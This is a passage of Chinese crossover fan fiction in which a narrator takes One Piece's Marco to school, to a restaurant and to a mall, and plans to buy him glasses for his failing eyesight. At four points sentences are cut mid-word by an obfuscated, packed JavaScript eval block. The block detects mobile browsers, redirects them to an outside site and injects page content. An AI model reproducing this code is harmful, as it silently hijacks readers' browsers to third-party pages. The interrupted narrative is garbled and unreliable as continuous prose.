“我马上预约置物服务站,大小姐,你在家里看着点。把我房间里那堆东西交给他们。” …… 他们两个都是说一不二的行动派,卡卡西负责办手续,修兵负责准备学习用品。 我比较轻松,只管带马尔科去报道。他被分配到了一个全是普通人的班级,做了一个“插班生”。 “欢迎新同学,”班主任在台上慷慨激昂。 台下鸦雀无声。学生们年纪不一,但无一例外地看着我——有点怪,除了我和马尔科,没人上学还成双成对。 “你上课吧。” 我在走廊等他。 上课时间,楼道里没有人走动。 我听到里头说话——我们来得还算巧,开学至今,这一批新生才刚结束入学三大课。 那都是一些介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073599|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍世界本质、办事处、生活日常的水课,没有营养,即便错过了也不可惜。生活一段时间都能知道,即便不知道的卡卡西也能讲,或许他会比这里的老师介绍得更好。 我想马尔科完全能赶上进度,只要他认真学习的话。 但我偷偷瞄了一眼—— 马尔科没有在听讲,他看着窗外,神情落寞。 “同学们,请把这些板书抄写下来,下课后好好理解和消化。” 还有一点时间。老师留下了第一堂课的作业。 马尔科忽然回神,又看向了黑板。他拿着笔要写,但落笔前,眼睛先眯起来了。 ——马尔科近视吗? 我看见他吃力的模样,念头忽的浮现在我脑海。 ……似乎是的。我隐约回忆起,顶上战争后马尔科失去踪迹,两年后再次出现,将作为代表和路飞一起去攻打和之国,那时候他似乎的确戴上了一副眼镜。 我可以确定了,结合他现在的表现,我确定马尔科眼睛坏了。 但为什么呢?我看他费力地望着前方。 马尔科的眼睛为什么坏掉了?他分明是不死鸟果实能力者,他有自我治愈的能力。 而且……近视的话,似乎也和外伤无关,属于内部的病变。 为什么呢?我不能理解。 “……大小姐。” 马尔科出来了,怅然若失地叫我。 他低着头,眼睛不是黑白分明的清澈,而是微微发红,像哭了很久,整个眼球都弥漫着一种糟糕的浑浊。 他刚刚才失去了老爹和兄弟,失去了他过去的一切。我一下意识到他悲伤的来源。 ——眼睛哭坏了吗? 念头疯了一样涌入我脑海。 我不知道,我第一次知道,原来马尔科不像看起来这样粗犷,他好敏感啊,敏感、细腻又脆弱。 那不讽刺吗?他为之哭泣的,到头来只是一场剧目——白胡子没有死,艾斯也没有,他们也会来到这里生活,也会幡然醒悟往事如烟,然后重新开始他们的故事。 对所有人来说这只是一个故事。 但马尔科却因为这场戏哭坏了眼睛。 ——真该死。 我转身牵住了他的手。 我很确定,他现在非常需要快点开始他的学生生活。 一个完整的校园体验应该包括学习与生活两部分。体验了课堂,我想还应该带他体验一下学校的食堂。 正好是午饭时间,学生们一窝蜂地涌向了一个方向。我第一次来这里,但我知道那一定是食堂的方向了。人很多。我看了看马尔科,他还是一如既往地失魂落魄。 人真的很多。 餐厅滚动着今日菜谱,我看着拥挤的人潮,拉住了往里走的马尔科:“马尔科。” “……啊?”他低下头来,看着我。 “那写着什么?” 我指向那排跳动的小字。 ——今日特供:猪扒饭。 “……嗯,”但他抬起头来,始终给我支支吾吾的答复。 “今日……什么……饭?” ……果然是看不清了。 我有一丝妄想,倘若是假性近视,努努力也能矫正回来。他抬手揉了揉眼睛。 我等他的答案。但他看了很久,仍然重复这一句:“今日……什么……饭?” ——今日猪扒饭。突然索然无味。 5. 03 外卖(2) 我拉起他的手,带他离开这里。 “……唔,大小姐?”马尔科停在原地。他这样的块头,如果他不愿意,我拿他没有办法。 “走了。” 但他终究是愿意的。 我没有多作解释,我只是拉他走,只需要多拽他一次,他就会乖乖跟我走,丝毫不抵抗。 身材魁梧而高大,却会因为悲伤哭坏眼睛……似乎也合理了起来。 离开学校要走一段很长的银杏大道。正是秋天,叶子变得金黄。扇叶在光线里起舞,自由而浪漫。 马尔科没有问我离开的理由,我也没有告诉他。 路很长,我拉着他,沉默着一直往前走。 我喜欢这条银杏大道。每到秋季,这里的风光都分外好。学生们都三五成群地在这里拍照片,每每经过,青春的气息扑面而来。总是容易让人想到一切美好的东西。 可惜这份美景他欣赏不到:他始终看着前方,眼中却又空无一物。 如果他能睁开眼看看,我想他会惊异于平静日常的安然,享受到与海上生活不一样的惬意。 如果不能看见也没关系,我收回了目光—— 没关系的。风光都很好。 他可以不用着急,我时间很多,可以等他慢慢来。 半个小时后,我们抵达了这个片区最大的百货商场。 我饿了,购物之前,我带马尔科先去商场边上的小餐馆用餐。 “哦!是你啊小姐!”老板从后厨跑了出来,和我打招呼,“好久不见咯,小姐!” “嗯,你好。”我常常来这里,和他也算认识。 “见到你非常高兴!”他笑眯眯的赶走了柜台上的收银员,撩起袖子,准备亲自接待,“老规矩,猪扒饭、多加一分猪扒是吗?” “嗯,猪扒饭,加猪扒,两客。” “好嘞!” 他把单子抄下来,一式两份,其中一份递给我。 马尔科伸手去接,老板愣了愣:“诶?这……是一起的嘛?” “嗯。” “呃……”他看看马尔科又看看我,欲言又止。 “怎么了?” “没、没事。”他笑着说。 店里暂时没有其他客人,难说一会儿不会有。我往里看了看,选了靠边的一处双人座。 马尔科安静地跟着我。好几日了,对我要做的事,他始终没有异议。 我们在静默中等待。 片刻后,老板从后厨出来,送来了我们要的猪扒饭和额外的猪扒,又向我们的桌上放了两份心形煎蛋,一碟心形烤肠。 我没有点过小吃,疑惑地看着他。 他拉来一张椅子,突然坐在我面前。 “小姐你知道吗,我留意了你很久。” “……”我不知道,我只感觉尴尬,如果他是在跟我搭讪的话。 好在他不是。 老板笑盈盈地说:“你每次都在我们店里没有生意的时候来,每次你来过以后,店的生意就会变得好起来。你是给我们店带来幸运的小姐!这次你很久没来了,我一直都盼着你来呢,一直等不到,还以为你搬家了……却没想到是这样的事。” 我的确常来,和他算“认识”,但从未这样产生过对话。 “送你我们店里最受欢迎的小吃!” “希望你的生活也可以幸运起来!” “新恋情要顺利啊!之前那位虽然很帅气,但从来没有为小姐背过包呢!” “……”真是匪夷所思。他精诚所至,可这话我接不了。 首先,卡卡西不是我的前男友,其次,马尔科也不是我的现男友。他背着我的包,只是因为他要上学,但我们还没有给他准备书包,所以我的双肩包暂时先给他用。 我们是牵着手,但我们不是那种关系!至于我们的关系——真要解释起来,得从这个世界的本源开始说起。 老板是个普通人。对普通人而言,管理员是天边的云,与自己的生活薛定谔的相关。 在他眼里,我也只是个普通人而已。卡卡西和马尔科亦然。 “……嗯,”我只能选择性地回应他的祝福,“谢谢您。” “别客气别客气!是我要谢谢你啊小姐,看到了你,我又有生活下去的希望了!” 这家店的老板是个自来熟,这我知道,他每次都会和卡卡西聊上几句。 但他从不会提及“生活的希望”这么庞大的话题。 他遇到了什么事吧,我认定。他不说的话,我也不准备问。 每个人都有自己生活的课题。我解决不了他的问题,顶多回答关于我的那部分疑虑。 免费的东西都不便宜。 我只是在为桌上的小吃付费而已。 “我们家附近有四家猪扒饭,好吃的不便宜,便宜的不好吃。你的店在我这里评分最好,但是太远了。”我和老板说。 “嗯?”他愣了下。 他也认识我很久,平常都是卡卡西和他交流,我只听着,不说话,突然聊起来,我不习惯,他也愕然。 我拧了下眉,尽量表达地清楚一点:“去学校要走三十分钟,到商场要一个小时。除非从学校出发,或者有重要的事情一定要来商场,否则太远了。” “……哦,原来是这样,小姐家果然住的很远啊。”他恍然大悟,这就是我少来的理由。 “嗯,”我说,“如果你们开通外卖业务,就会经常见到了。” “啊,这个,其实我是想过的,”他认真地坐直了身体,“但是平台的加盟费实在高昂,我这小店支付不起。这一笔钱平摊到消费者身上的话,我家的猪扒就不够实惠了。” 他大概五十多岁的年纪,眼角布满了细纹,但眼睛黑白分明。 在电子消费时代,我很少听到有人苦恼的是如何保持初心而不是如何快速盈利。 这让人肃然起敬。 于是我也坐直了一些。 “那就自己派送,”我说,“稳定的品质不会带来额外流量,但会增加顾客粘性——对症下药,想办法方便老顾客就餐就可以了。” “这、这……可行吗?”他不自信。 但这没有什么值得怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073600|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 我答他:“当然。我既然可以接受从学校走三十分钟到商场这边来吃饭,就同样可以接受从家里走三十分钟去学校取餐。” “你是说送到学校去?” “是的,”我回答他第二个问题,反正早晚得回答,“没人说过一定要送到家门口才叫外卖。送到公园、公司、学校都可以,大部分上班族本就是匆忙买便当,没有那么多时间在餐厅用餐。” “……真的可行吗?”他仍然怀疑自己。 “不知道——” “嗯,”他对我笑,“麻烦您了,解决店里生意惨淡的问题也不是这么简单的啊……” 我不喜欢社交。 人都是固执已见的,总是看到自己以为的,忽略了对方真正的用意。 社交在我看来是毫无必要的东西。 但我仍然要把话说完—— “既然保持现状,事情也没有转机。没有方向的时候,无论怎么走都是前进。” “这、这是当然!”老板站了起来,看着我,眼里晶莹透亮,“空想没有用,要行动起来!而且您是我们店的‘幸运星’,给的意见也很有参考价值……谢谢您小姐!我捋一捋!捋一捋!您先用餐,凉了就不好吃了!” 纵然嘴上都是忐忑,自始至终,那双黑白分明的眼睛始终坚定。 他不会有问题的,我非常确定。 我以前常来这家店,是因为这里的猪扒饭价格实惠、品质优越。料理是能承载心意的东西,同样的价格,这家店最实惠,意味着他家最用心。 我以后会常来这家店,除了品质,还会因为店老板的心态—— 我每次来都意味着生意马上要变好了,换句话说,我是只会在低谷期出现的顾客。 那么我完全可以是一个标志着最倒霉时刻的“倒霉蛋”,但他固执地认为我是代表转折的“幸运星”。 我就是我,没什么不同。 倒霉蛋还是幸运星,是老板的认知。 他认为我代表了“幸运”,是因为他拥有发现“幸运”的眼睛。那么他早晚会找到真正的幸运。作为这家店的店主人,他自然会带着这家店幸运地披荆斩棘。 他不会有问题的,我非常确定。 有问题的是我—— 老板走了,并且没有再回来的意思。我松了口气,生平最讨厌麻烦,偏偏麻烦总爱找上我。 社交太辛苦了! 他走了,我也像泄气的皮球瘫软在椅子上。我真的很不擅长和人交往,短短一会儿的功夫,我所有的能量就要消耗殆尽。 我得赶紧吃一口猪扒压压惊! 桌上有照烧汁,我往碗里的猪扒上洒了一些。 放调料瓶时,我发现马尔科没有动筷,反而在看我。 不知道他怎么回事,他看着我。 过去的几天时间里,无论白天黑夜,他的眼中都只有一如既往的只有木纳和迷离;而此时他看着我,脸上却流露出了一丝微笑。 我不知道是不是我理解错了? 我认为他那笑不是礼貌和尴尬,像醒悟与释怀。 6. 04 香波(1) 我对马尔科还不了解。 我与修兵认识十年,和卡卡西认识七年,但和他认识才短短几天而已。 短短几天不足以了解一个人。何况过去只是过去,过去不等同于现在:来到这边以后,许多人会因为真相癫狂,更多人因为生活环境的改变而性格大变。 我不知道马尔科身上会不会有类似情况发生,过去我对他一知半解,现在我对他一无所知。 我只是看见他在笑,而这笑,在他到来以后似乎还是第一次。 这让我稍微有一点信心了。 即便他身上仍围绕一种无法消散的悲伤,至少他还能笑,不是吗? 笑一定是好的,哪怕它再寡淡。 我不擅长和人相处。但我能和修兵相处得很好,和卡卡西也是——如果他有修兵的温柔细腻,又有卡卡西的坚强勇敢,我就有信心和他相处得好。 我也必须要和他相处的好。 无论什么理由使他来到了我们家,现在他是我手下的能力者,作为管理员,我要对他负责。 “吃饭。” 我把煎蛋推给了马尔科。 按理说,能力者的饭量应该比普通人更大一些,修兵和卡卡西都符合这一规律,但马尔科没有——这几日,他的饭量堪堪与我持平。 这不正常。 正常情况下,管理员的饭量比能力者更大。如果普通人吃一碗饭能饱,能力者普遍需要两三碗,管理员需要三到五碗,而我需要更多——我可以一直吃,没有上限。 但那样会造成过大的开销,也会吓坏同时就餐的路人。所以日常里,我只按照普通女性的食量摄入,几乎不到一碗。如果马尔科饭量和我持平,只说明他几乎没怎么吃饭,摄入只维持在他正常水平的四分之一。 ……或许还不到。 我把烤肠也推给了他。 那烤肠徒有其名:虽然叫“烤肠”,但不是纯粹的炭烤口味。只是做出一层“炭烤纹样”的酥脆表皮。咬破那层坚硬的壳,内里是鲜嫩饱满,吹弹可破的肉肠,咬一口满嘴甜香。 很好吃的,我认为其美味程度仅次于猪扒。 “快点,”我告诉他,“不许浪费粮食。” “嗯,”他慢吞吞地取筷,起初仍是食不知味的样子。 但当我盘子里快要干净的时候,我瞧了他一眼,他微微一愣,如梦初醒一般突然加快了速度,有如风卷残云。 他的吃相还算文明,没有发出异样的声响。 我不会责怪他狼吞虎咽,没有好好享受美食。毕竟人都是这样顾此失彼,就连我自己也不例外—— 猪扒如此酥脆可口,但我好怕那老板又回来问话,而我已经没有什么多余的力气与他周旋。 马尔科能吃得快些简直太好了。 我要拉上他赶紧离开现场。为此,还特意观察了一阵,选在老板进后厨的时候。 我生怕被老板抓住了继续闲聊,哪知道他居然追着叫我—— “小姐!” “小姐!” “等一下!” …… 我不等,我头也不回地跑走了,没留意,一个转身,我已经站在了商场门口,但马尔科不见了。 不是感慨的时候,我迅速往回找。他分明个头很高,走在人群中有如鹤立鸡群才对,但我一连找了三四个货物区,也没有瞧见一颗金色的脑袋。 于是我才能确定:糟糕了,绝对不能搞丢的,但我就是把马尔科搞丢了。 我只有一个头,这会儿却有两个大。 那种滋味不好:迷路的时候,失去了目标和方向。一个人停留在原地会不知所措。 我想我都如此,马尔科也不应该例外。物理的迷路和精神的迷失也应该有相似之处。 所以我才会一直抓紧他的手,不敢轻易放开。 我想在他没有自己的方向之前,跟随我,也是一个方向。 就好像所有的能力者在到来时,都要经受镇压,戴上项圈,再分配管理员一样——即便那是侮辱的,在没有方向的时候,它也算是一种。 但我在干嘛呢?我把他搞丢了! 不是感慨的时候,不幸中的万幸,这是一个大型商场。 我赶紧找到附近的导购员,向他们说明情况,让他们立即替我发广播—— “马尔科小朋友,马尔科小朋友,听到请前往电梯区,你的家长在电梯口等你。” 通知循环了三遍。但是我仍然不确定他到底听到没有。听到以后又会不会意识到是我在找他? 在我的强烈要求下,广播站又帮我循环了一次。 “马尔科先生,马尔科先生,听到请立即前往电梯区,你家大小姐在电梯口等你。” “这下行了吧?”广播站播完便笑。普通人不明真相,会以为广播找大人是一种情调。 “……”我笑不出来。马尔科要是丢了,事情不知道有多严重。 “谢谢,请继续帮我找一下他。” “好的,我们会联系本层导购帮忙寻找,您别担心,丢不了。祝您生活愉快。” 我和她们告别,赶紧去电梯口找人。平常慢些动作就不会显露的笨拙,一情急,暴露无遗。 商场的路又平又坦,而我走着,一路上栽了两次,膝盖都磕青了。 “小姐,你慢点走——” “……” 我不能慢点走,我看到马尔科了,一颗金色的脑袋在人潮中驻足。 万幸是找到了。我就知道会这样:如果不去找他,他就会一直呆着,没有方向。 手掌和膝盖都已经没有那么痛了。我拍了拍灰尘,靠了过去。 “马尔科。” “呃,大小姐,刚才……” “刚才我跑太快了,没有抓住你。” 是我的问题。我应该反省。 “走吧。”我去拉他手。 他一愣:“你手怎么……” “没怎么,不可以在这里用能力。”我小声警告他。 “……”他没作声。 “也不许告诉修兵和卡卡西!”我又和他说。 这只是一次意外。 但意外之所以会发生,是因为没有准备充分。亡羊补牢为时不晚,吃一堑该长一智,商场很大,负一层我也没有去过,之后都要抓紧一点,我怕又把他搞丢了。 再搞丢的话,未必还会有这次这么幸运。 我们去了负一层。 马尔科负责推购物车,而我牵住他,带他四处走动。 百货中心里商品琳琅满目,理应是最容易从各个方面展开了解一个世界生活方式的地方。 我想带马尔科看看,需要选购的东西不多——家里生活有修兵照料,和办事处有卡卡西一样,无需我劳神。 我们家这两位一文一武、一内一外,是真的百般体贴。 那天收到办事处通知后,卡卡西立马出门办手续,修兵也第一时间联系了置物服务站,典当了家中旧物,腾出空间给新人做准备。但起初我们并不知道来的会是谁,贸然的准备只会白白浪费了钱,所以我们并没有购买任何物件,直到马尔科到家的下午,修兵开始网购。 首先是添置衣物。 马尔科身高两米零三,与一米八三的修兵、一米八一的卡卡西差距过大。 在此之前,卡卡西和修兵身高相似,身形也相同,穿衣上面一直是互相借用: 卡卡西日常走休闲运动风,没有西装,在家不用穿,去办事处工作也要着办事处的工作服,用不上西装;极其偶尔需要穿一次的时候,他就会去修兵的衣柜里借——修兵日常走时尚潮流风,西装是经久不衰的潮流单品,他收集了许多,配饰更多,正好方便拿给卡卡西用。 这是一种良性的循环。可惜马尔科参与不了。 来时那天晚上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073601|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修兵拿了一件新衬衫给他,他穿上袖短,胸前扣子也合不上。 修兵不像卡卡西,平常和办事处的人打交道,对海贼多少有些听闻。但他很温柔,马尔科到来前,修兵曾经问我,海贼是个什么样的地方,生活方式和死神、火影相似吗? 他的意思是,要提前做些准备,让新人宾至如归。 但我回答说,是个超乎想象的地方。 “……什么意思?”这种答案把修兵都难住了。 我解释不清楚,想起了去年修兵他们编辑部的轻小说评选大赛,奇幻类的第一名全篇采用了夸张的手法——他写宫殿不是宫殿,是高耸入云的大山;人不是人,是匍匐在地上的蝼蚁;……许多读者都来信评价夸张到“不可思议”,编辑部也评价“充满了想象力”“最大程度通过夸张表现了冲突和压迫”。 “去年的《云上》只是基于现实的夸张,海贼是超越现实的想象。” 这是我能给出的最贴切的描述。 修兵眉头紧了紧。 他当然能领会我的意思。只是在亲眼见识过大象以前,没有办法想象出“大象”的真实模样。 而马尔科到家那晚,修兵就明确感知到了—— 马尔科两米多的个子,身形却是不合理的纤细;肩宽腰窄,腿像筷子,又直又长。他是典型的模特身材,又比模特多出一身的肌肉和力量。 那是一种让置物服务站的三维录入系统都提示了两次“是否正确输入”的夸张数据,附近的库房里甚至找不出合适尺码。 而马尔科属于人类。 海贼世界里有十几个种族,模样也是极具特色的千奇百怪。人类不过其中一种,马尔科也是人类里比较匀称的一种。放眼整个伟大航路,全是大大小小、奇形怪状、蛮熊上身仙鹤腿的“妖怪”和“神仙”…… “……等大面积散场,得带来多大的冲击。”修兵锐评。 “对。”我也如此认为。 “好在马尔科还算正常。” “是的。” 为了避免引发骚乱,办事处规定,身高超过两米二的到来者,必须穿义骸。 义骸分普通人款和能力者款,制作工艺不同,价格也不一致。海贼世界普遍身高极端,选择义骸时,需购入高修正系数款,随着修正系数的增高,价格也是指数级递增。 普通人的义骸由办事处免费提供,而能力者的义骸要由管理员买单。 我们家捉襟见肘的经济状况根本负担不起——不过很幸运,马尔科不用穿。 添置些衣物倒是小事。 他又高又瘦。置换服务站没有合身的尺码,买大,太空;买小,袖子和裤腿又不够长。修兵暂且给他买了两套运动服,将就着轮换。如果置换服务站始终没有合身的尺码,修兵把他的“个人定制”改成了马尔科的名字,只等马尔科状态好一些,就可以自行挑选喜欢的风格,量身定制。 其他的也无需担忧。 家里有三位男士,许多东西都可以通用——而且就我观察,护肤霜、润肤露、洗面奶……这类东西,马尔科完全用不上。 经过洗浴区,我停下拿了几瓶洗发水。 白桃不是我喜欢的味道,但买一送一,我无法拒绝。 经过保健区,我又叫停了他。 海贼还没有彻底完结,在他们大规模地迁移到这里之前,办事处对于恶魔果实的开发调查会长期且持续的约等于零。 我很好奇马尔科变成了不死鸟,会不会存在鸟的特性? 比如鸟类普遍喜欢闪耀的东西,而马尔科原先的着装就是花里胡哨的风格。 如果推敲合理,那我想,指不定马尔科的眼睛还有救,或许不是坏了,只是类似于夜盲症一类的眼病? “这个你回去吃。” 我往购物车里放了几瓶鱼肝油。 我仍然怀揣了一丝侥幸,幻想着他的眼睛还能光复如初。 7. 04 香波(2) 我们去收银台结账。 我的零花钱已经用光了,今天刷家里的副卡。刚付款,家里的财务总监突然开始发起群聊—— “谁在商场买东西?” “不是我,我在办事处。”卡卡西也出来了。 我没作声,不用作声。 由排除法可知:群里就三个人,修兵问谁在买,卡卡西说不是他,那一定是我了。 “果然。”修兵也说,“家里洗发水快没有了,我昨天说选一下洗发水,中午太忙,忘记了。刚才收到短信,我猜一定是你了。” 然后果然如他所料,是我,就是我。 什么叫默契,这就是默契。 我打字慢,我可以发表情包——“不愧是你”。 他也回我一个——“勾肩搭背”。 “行啊你们,”卡卡西调侃我俩,“这是超能力,你快出书吧修兵老师,我想学这个。” “先等一下,请关注重点,卡卡西老师,”修兵回他,“这家伙没有陪马尔科上课,在商场购物?” “喔,对诶,大小姐你怎么回事?”卡卡西问我。 我打字真的慢。 无法用表情包解决的问题,我只有打电话。 “喂?” 卡卡西火速加入了群语音。 修兵在编辑部上班,不方便在办公室接家常电话,只能忙里偷闲地打字闲聊。 而卡卡西在办事处行事,反而不适合避人耳目地打字闲聊,更需要大张旗鼓地接起家常电话。 这种情况一般都是他与我实时通话,再打字传达给修兵。 “你在干嘛呢大小姐?”卡卡西问我。 或许是因为我们真的没有默契,当我们聊天的时候,总会产生非常多无聊的废话。 譬如说,现在我在超市里消费,除了购物,我还能干嘛呢? 我没有回答,他也知道这不需要答。 卡卡西又问:“这是什么洗发水,怎么不是你常用的款?” “买一送一,”我和他说。 “出什么事了,你不会是在消费降级吧?”卡卡西讲,“大小姐,我们可是一直都说好的,无论发生什么事,你用的东西都不可以降级——” “没有降级,最近铺天盖地都是广告。” “所以只是单纯地尝试新款?” “嗯,是的。”可以这么说,我的确没有用过白桃味道的洗发水,也没有用过这个牌子。 “那好吧,尝试新款没问题。但是如果用着不舒服、不喜欢、头发变糟糕了,就马上买回你从前用的那种,这个拿给我们用,可以吧?” “好的。”我也答应他。 宇宙无敌大直男懂什么消费降级?头发护理的事情,卡卡西也一窍不通。 我们家除了我,只有修兵了解。所以这不是卡卡西的疑问,而是修兵的——只有修兵才会关心细枝末节的生活琐事。他了解我,知道我。哪怕我有一丁点异样,他都会在第一时间察觉到。 只要我没有反常,修兵就没有问题。 他没有再询问了。卡卡西开始问我:“……说起来马尔科呢,你们不在一起吗?” “他在我旁边。” 我把手机话筒递给马尔科,示意他说几句。 但我们开始通话时,他就把头转向一边,此时从茫然中回神,也只是盯着我手里的小东西,然后再一次茫然了。 于是我如实禀告:“他呆住了,他没有见过这样的电话虫。” “……哈哈哈,”卡卡西笑得很开心,“喂,听得到吗马尔科?” “呃……嗯,你说?”其实马尔科的反应,是被他的热情吓住了。 说来好笑—— 卡卡西是热门人气角色,火影剧场的许多人都听说过他的大名。即便是管理员中,认识他的也不少。然而如此多人对他抱有绝对的热情,卡卡西本人却始终不上心。 他是个外热内冷的人。 修兵常常被同事叫出去聚餐,卡卡西除非遇到公事,否则不参加一切活动。 很难看到卡卡西油然地对一个人热情。 如果叫他知道马尔科被吓到,他一定会受打击。 当然,这事我不准备告诉他。 卡卡西对他介绍:“这个东西不是电话虫,普通人叫它手机,我们的叫通讯器——你很快就会拿到,我已经让他们加急处理了。” “啊……谢谢。”马尔科表达感谢,其实并不了解他在说什么。 他的心思仍不在此处,对这世界始终是一知半解。 无妨。我知道卡卡西在说什么—— 为了方便管理,能力者的手机和普通人的不一样,需要联系办事处定制。 本质上也不是手机,而是特殊的“身份凭证”,上面会刻录该能力者及其管理员的信息,方便他们出入特殊的场所。同时含有特殊的通讯功能,以便与本家管理员取得联系。 这种通讯功能建立在该管理员的权柄之上,属于绝对领域。 全权交给他的事,我从来不过问。反正他会处理的。 我想跟他聊点别的,卡卡西忽然问:“对了,今天课上得怎么样?” “啊?”这个问题把马尔科问住了。他上什么课啊,他就在那里发呆,我都懒得说他。 我把手机放回自己嘴边:“卡卡西,我不吃食堂。” “哈?食堂怎么了?” “人多,没食欲。” “……” 马尔科微微愣了一下。 卡卡西在那头笑出了声:“挑食开始挑环境了是吧?” 我是,我真的很不喜欢社交,看到人多就害怕。 我再也不想去那里了。 “卡卡西,我——” “知道了知道了,我来解决。” “能解决吗?” “当然能。” 我很满意。卡卡西果然是万能的。 “这件事晚点解决也不迟,今天你们能早点下班吗?”我又问他。 “有安排?” “嗯,想买眼镜。” “买眼镜?” “是的,马尔科太高了,坐前面挡别人视线。我想让他坐最后一排,这样我也可以进去呆着。” 今天我们只是去报道,马尔科作为插班生,和班上同学打个照面而已。一个班三十人,开班会借用的是小教室。等到正式上课后,教室的容纳人数会成倍增长。 小教室而已,马尔科就已经看不清黑板了,等到开大课,他根本没有办法学习。 他急需一副眼镜,我也需要—— “站在走廊里又冷又累,在教室里坐着很舒服,还有暖气吹。”我告诉卡卡西。 “……你呀。”他满口无奈。 我把话说到这份儿上,就算他不能跟我心意相通,他也会明白我的意思。 眼镜是著名暴利行业,我一个人去会被当成肥羊可劲儿宰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073602|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不行,我需要他们。 我需要军师修兵帮我制定计划,锁定目标价格,然后将军卡卡西上阵,用他高超而精妙的社交技巧搞定价格。 他真的很会讲价。 比起他,我和修兵都属于任人宰割的小呆瓜。 “你们早点回来,我们一起去。” “知道了。” 卡卡西把这事总结给修兵了。 修兵打字回复:“OK。下午没什么事,我做下攻略。” 卡卡西也说:“今天我得早点下班……女士们,抱歉了,今天也不能答应你们的要约哦,我家大小姐在呼唤我咯!” 他的声音很小。话不是对我们说,是对办事处的工作人员。 我并不反感他在工作人员面前刷我的存在感。这是聪明的办法,我鼓励他这样做,这方面一直很配合,甚至在必要情况下可以更配合他一点。 这有助于他开展工作。 卡卡西代替我在办事处做事,工作时免不了与诸多管理员有所交集。而他只是一个能力者,本没有与之平起平坐的资格,更没有使办事处为之服务的权力——除非卡卡西不是我,却等同于我。 适当地表现出我们之间紧密的关系可以有效地震慑牛鬼蛇神。 原则上,管理员不应该对外展露自己的编号和能力,以防被针对和偷袭。而我家例外,平常我会穿上高领衣物,遮住脖子上的编码;但每当需要以“卡卡西的管理员”身份出面的时候,我都会故意撤除遮挡,让他们看见。 那些“大小姐手下有三个能力者,且不带项圈”的话,是告诉马尔科,也是卡卡西故意说给别人听。 卡卡西的知名度太高了。除非别人畏惧我,否则总有人觊觎他空荡荡的脖颈。 …… 不过那些事情,天才卡卡西自己会处理妥当,我只在他有需要的时候配合就好。 电话挂了,我合上手机,放回马尔科背上的双肩包里。 眼下最需要我的是马尔科,他呆愣愣的,在我边上站着,不问也不说。 是我和他讲—— “我们先回家放东西。修兵和卡卡西有时间,我们晚上一起吃饭。” “嗯,好。” 没有多余的对话。我拉上他,又走上那条漫长的银杏大道。 十分钟。 二十分钟。 三十分钟。 学生们抱着厚厚的课本走出校园。我看着他们费力的样子,忽然意识到一个问题。从商场走回家需要足足一个小时,几瓶家庭装的洗发水也并不轻松。 “马尔科!” “嗯?”他愣了愣,“怎么了?” “我们换个手!” “噢,好。” 我要换手,他便换手。左手松开了我,右手飞快地交换了购物袋,然后右手拉住了我。 我:“?” 我不知道他这一套行云流水的动作有什么意义? 面面相觑。我明示他:“我来提。” “啊?”他不给,在金光里愕然,而后望着我,笑了笑。 那种笑转瞬即逝。 “走吧,”他催促我说,“你还有伤。” “……” 他比来时走得慢。牵着我的手臂微微抬着,方便我可以借力。 我只是摔了,不是瘸了,不至于走路还需要拐杖。 但马尔科是个细心温柔的人呢。 这有一点超乎我的想象。 8. 05 眼镜 后半程路变成我被他带回家。超出常人的能力在人多的地方绝对不允许,所以回家以后,他蹲在我腿边治疗我的膝盖和手掌。青色的火焰包裹着我的患处,疗愈仿佛是他的一种本能。 等到修兵和卡卡西下班时,我摔青的膝盖已经没有大碍,划破的手掌也没有特殊的印记。 他们没有发现。 卡卡西甚至说我今天腿脚便利了许多。 “我有吗?” “有啊,手指都很灵活,怎么回事?” 我去挽他胳膊,他却抓着我不放,捏着我的手指,非说我今天手指有力。 “你捏痛我了!”直到我制止他无稽的行为,他才笑着打哈哈,让我重新挽上他胳膊。 “我以为你今天又笨手笨脚,摔倒哪里,然后马尔科帮你治疗了呢……”卡卡西跟我说,“他那个火焰看起来很奇特,或许能缓解你僵硬的毛病。” 然后我就手脚同时僵硬了一下。这就是天才吧,随便一猜,就跟我背后长摄像头一样。 